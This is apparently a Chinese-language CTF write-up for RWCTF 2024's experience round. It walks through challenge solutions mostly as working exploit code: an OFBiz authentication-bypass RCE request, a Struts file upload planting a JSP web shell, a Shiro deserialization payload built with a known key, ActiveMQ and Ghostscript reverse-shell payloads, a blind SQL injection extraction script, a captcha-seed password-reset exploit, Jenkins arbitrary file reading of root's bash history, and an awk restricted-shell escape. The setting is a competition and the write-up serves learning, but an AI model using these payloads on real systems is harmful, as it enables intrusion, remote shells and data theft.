RWCTF 2024 体验赛 Writeup
Be-a-Docker-Escaper-4
ps aux
1
|
docker run --rm -it --pid=host --security-opt=apparmor=unconfined ubuntu bash
|
共享了宿主机的 pid namespace, 并且关闭了apparmor
一开始往逃逸的方向想了, 以为能 ptrace 注入啥的, 但是没有额外的 capabilities
结果 zysgmzb 说只要看 /proc/pid/root
目录就行
1
|
for fd in `find /proc/*/root`; do ls -al $fd | grep \>; done
|
遍历得到的 root 目录挨个访问即可, 或者用 find -L
去遍历软链接嗯搜也能找到 flag
然后想起来了去年的这篇文章, 确实有点印象但是没细看 (
https://www.anquanke.com/post/id/290540
Be-a-Cloud-Hacker
cloud-init 配置文件敏感信息泄露
1
|
/var/lib/cloud/instances/iid-local01/cloud-config.txt
|
Long Range 2
https://zysgmzb.club/index.php/archives/294
Be-a-Framework-Hacker
Apache OFBiz Authentication Bypass Leads to RCE (CVE-2023-51467)
https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2023-51467
1
2
3
4
5
6
7
8
9
10
11
|
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/2
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
groovyProgram=throw+new+Exception('/readflag'.execute().text);
|
Be-More-Elegant
S2-066 (CVE-2023-50164)
https://paper.seebug.org/3086/#38-s2-066
上传文件目录穿越到 views/header_icon/index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
POST /upload.action HTTP/1.1
Host: 47.99.57.31:8080
Content-Length: 1287
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.99.57.31:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycTJbJecoaazcHtjf
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://47.99.57.31:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=5D489463E6409CFA43018A51F3E5A692
Connection: close
------WebKitFormBoundarycTJbJecoaazcHtjf
Content-Disposition: form-data; name="FileUpload"; filename="blank.txt"
Content-Type: text/plain
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("xzxzxzxz");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
------WebKitFormBoundarycTJbJecoaazcHtjf
Content-Disposition: form-data; name="fileUploadFileName"
../../../views/header_icon/index.jsp
------WebKitFormBoundarycTJbJecoaazcHtjf--
|
蚁剑直接连接网站主页, 然后执行 /readflag
拿到 flag
vision
date 命令读取 flag
Old-Shiro
ShiroAttack2 爆破 shiro key 为 kPH+bIxk5D2deZiIxcaaaA==
, remember cookie 为 rememberMe_rwctf_2024
题目环境不出网, 打内存马会超出 header 长度限制, 需要缩小 payload
经测试 cookie 的最大字符长度大约在 2600 左右
payload (JDK 8u362)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
package com.example.Shiro;
import com.example.Util.ReflectUtil;
import com.example.Util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.util.ByteSource;
import java.util.PriorityQueue;
public class ShiroDemo {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("SC");
String body = "javax.servlet.http.HttpServletRequest r = ((org.springframework.web.context.request.ServletRequestAttributes) org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
"java.lang.reflect.Field f = r.getClass().getDeclaredField(\"request\");\n" +
"f.setAccessible(true);\n" +
"org.apache.catalina.connector.Response p =((org.apache.catalina.connector.Request) f.get(r)).getResponse();\n" +
"java.io.Writer w = p.getWriter();\n" +
"w.write(new java.util.Scanner(new java.io.File(\"/flag\")).next());\n" +
"w.flush();";
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("{" + body + "}");
clazz.addConstructor(constructor);
// clazz.makeClassInitializer().setBody("{" + body + "}");
// 设置 Super Class 为 AbstractTranslet
CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
clazz.setSuperclass(superClazz);
ReflectUtil.setFieldValue(templatesImpl, "_name", "Hello");
ReflectUtil.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
ReflectUtil.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("1");
beanComparator.setProperty("outputProperties");
ReflectUtil.setFieldValue(priorityQueue, "queue", new Object[]{templatesImpl, templatesImpl});
byte[] serialized = SerializeUtil.serialize(priorityQueue);
CipherService cipherService = new AesCipherService();
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource byteSource = cipherService.encrypt(serialized, key);
byte[] value = byteSource.getBytes();
String enc = Base64.encodeToString(value);
System.out.println(enc.length());
System.out.println(enc);
}
}
|
http
1
2
3
4
5
6
7
8
|
POST /doLogin HTTP/1.1
Host: 121.40.80.33:8888
Content-Length: 25
Content-Type: application/x-www-form-urlencoded
Cookie: rememberMe_rwctf_2024=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
Connection: close
username=123&password=132
|
Be-an-ActiveMq-Hacker
https://github.com/X1r0z/ActiveMQ-RCE
直接反弹 shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>![CDATA[bash -i >& /dev/tcp/IP/Port 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
|
YourSqlTrick
https://github.com/wy876/POC/blob/main/Dedecms v5.7.111前台 tags.php SQL注入漏洞
题目环境删了 dedecms 的后台, load_file
会被自带的 WAF 拦截, 所以 flag 就在数据库里面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
import requests
import time
flag = 'rwctf{'
i = 7
while True:
for s in range(32, 128):
print('testing', chr(s))
url = 'http://121.40.226.16:30080'
sql = "select+flag_value+from+flag"
payload = r'/tags.php?tag=a/alias/about%27and{`\%27`%20id}%3E0.1+or+if(ascii(substr((' + sql + r'),' + str(i) + r',1))=' + str(s) + r',(SELECT+count(*)+FROM+information_schema.columns+A,+information_schema.tables+B,+information_schema.tables+C),1)--%20\\'
start_time = time.time()
res = requests.get(url + payload)
end_time = time.time()
if end_time - start_time >= 5:
flag += chr(s)
print('found!!!', flag)
break
i += 1
|
Be-a-Captcha-Guesser
https://exp10it.io/2023/10/jumpserver-伪随机数密码重置漏洞-cve-2023-42820-分析/
models.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
|
from django.contrib.auth.models import User
from django.shortcuts import render
from wagtail.admin.panels import FieldPanel
from wagtail.blocks import TextBlock
from wagtail.fields import RichTextField, StreamField
from wagtail.models import Page
from wagtailcodeblock.blocks import CodeBlock
user_code_map = {}
class HomePage(Page):
body = StreamField([
("heading", TextBlock()),
("code", CodeBlock(label='Code')),
], use_json_field=True, blank=True)
content_panels = Page.content_panels + [
FieldPanel("body"),
]
class LoginPage(Page):
def serve(self, request, *args, **kwargs):
from .forms import CaptchaLoginForms
if request.method == "POST":
form = CaptchaLoginForms(data=request.POST)
if form.is_valid():
username = form.cleaned_data['username']
exist = User.objects.filter(username=username).exists()
if not exist:
form.add_error('username', 'username or password error')
return render(request, "home/login_page.html", {"form": form, 'page': self})
else:
form = CaptchaLoginForms()
return render(request, "home/login_page.html", {"form": form, 'page': self})
class ChangePasswordPage(Page):
def serve(self, request, *args, **kwargs):
from .forms import CaptchaResetPasswordForms
from .util import random_string
if request.method == "POST":
form = CaptchaResetPasswordForms(data=request.POST)
if form.is_valid():
exist = User.objects.filter(username=form.cleaned_data['username'],
email=form.cleaned_data['email']).exists()
if exist:
username = form.cleaned_data['username']
request.session['username'] = username
code = random_string(6, lower=False, upper=False)
user_code_map[username] = code
print('code=', code)
return render(request, "home/change_password_page.html", {"form": form, 'page': self, "ok": True})
else:
form.add_error('username', 'username or email error')
else:
form = CaptchaResetPasswordForms()
request.session.delete('username')
return render(request, "home/change_password_page.html", {"form": form, 'page': self})
class DoResetPasswordPage(Page):
def serve(self, request, *args, **kwargs):
from .forms import DoResetPasswordForms
username = request.session.get('username')
if not username or not User.objects.filter(username=username).exists():
return render(request, "home/no_permission.html")
if request.method == "POST":
form = DoResetPasswordForms(data=request.POST)
if form.is_valid():
password1 = form.cleaned_data['password1']
password2 = form.cleaned_data['password2']
if password1 != password2:
form.add_error('password1', 'the two passwords are inconsistent')
return render(request, "home/do_reset_password_page.html",
{"form": form, 'page': self, "ok": False})
if user_code_map.get(username) == form.cleaned_data['code']:
user = User.objects.get(username=username)
user.set_password(password1)
user.save()
return render(request, "home/do_reset_password_page.html", {"form": form, 'page': self, "ok": True})
else:
form.add_error('code', 'code or username error')
return render(request, "home/do_reset_password_page.html",
{"form": form, 'page': self, "ok": False})
else:
form = DoResetPasswordForms()
return render(request, "home/do_reset_password_page.html", {"form": form, 'page': self, "ok": False})
# wait for admin to publish
class FlagPage(Page):
flag = RichTextField(blank=True)
content_panels = Page.content_panels + [
FieldPanel('flag')
]
|
JumpServer 密码重置漏洞的简化版
利用流程:
-
进入登录页面拿到验证码种子, 即 /captcha/image/
后面的内容
-
脚本请求验证码 url, 批量播种
-
进入密码重置界面, username 为 admin
, 邮箱为 [email protected]
-
脚本计算种子得到 reset code, 重置密码
-
登陆 wagtail 的管理后台查看 flag
注意根据题目环境修改验证码的尺寸 (77 x 45), 然后验证码是四位字符, 所以 charlist 长度为 4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
# -*- coding: utf-8 -*-
#
import random
import string
import requests
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
args_names = ['lower', 'upper', 'digit', 'special_char']
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i for i in kwargs_values if i])
assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
can_startswith_special_char = args_true_count == 1 and special_char
chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
while True:
password = list(random.choice(chars) for i in range(length))
for k, v in kwargs.items():
if v and not (set(password) & set(args_string_map[k])):
# 没有包含指定的字符, retry
break
else:
if not can_startswith_special_char and password[0] in args_string_map['special_char']:
# 首位不能为特殊字符, retry
continue
else:
# 满足要求终止 while 循环
break
password = ''.join(password)
return password
seed = 'ee613854767aba86658eac7bc1a8987d03bc132b'
for i in range(50):
res = requests.get('http://121.40.246.97:32652/captcha/image/{}/'.format(seed))
print('i: {} code: {}, len: {}'.format(i, res.status_code, len(res.content)))
random.seed(seed)
CAPTCHA_PUNCTUATION = """_"',.;:-"""
CAPTCHA_LETTER_ROTATION = (-35, 35)
CAPTCHA_IMAGE_SIZE = (77, 45)
size = CAPTCHA_IMAGE_SIZE
# 长度 4
charlist = [1, 1, 1, 1]
# 验证码图片生成时的随机数处理
for char in charlist:
random.randrange(*CAPTCHA_LETTER_ROTATION)
for p in range(int(size[0] * size[1] * 0.1)):
random.randint(0, size[0])
random.randint(0, size[1])
# 预测 reset code
code = random_string(6, lower=False, upper=False)
print(code)
|
Be-a-Security-Researcher
这两天的 Jenkins CLI 任意文件读取 (CVE-2024-23897)
根据题目描述 “应急响应”, 而且 /flag
文件不存在, 猜测 flag 位于 .bash_history
1
|
java -jar jenkins-cli.jar -s http://47.96.171.129:8080/ help "@/root/.bash_history"
|
Be-an-Interpreter-Hacker
https://github.com/jostaub/ghostscript-CVE-2023-43115
反弹 shell
1
2
3
4
5
6
7
8
|
%!PS
mark
/OutputDevice
/ijs
/IjsServer
(bash -c 'bash -i >& /dev/tcp/IP/Port 0>&1')
.dicttomark
setpagedevice
|
脚本需要一次性传过去
1
|
cat rev.gs | nc 47.98.192.157 39956
|
ALS
题目环境有在线 shell 功能
awk rbash 逃逸
https://gtfobins.github.io/gtfobins/awk/
1
2
3
4
5
|
awk 'BEGIN {system("/bin/ls /usr/bin/")}'
awk 'BEGIN {system("/usr/bin/sudo -l")}'
awk 'BEGIN {system("/usr/bin/sudo /usr/local/bin/nexttrace --file /root/flag")}'
|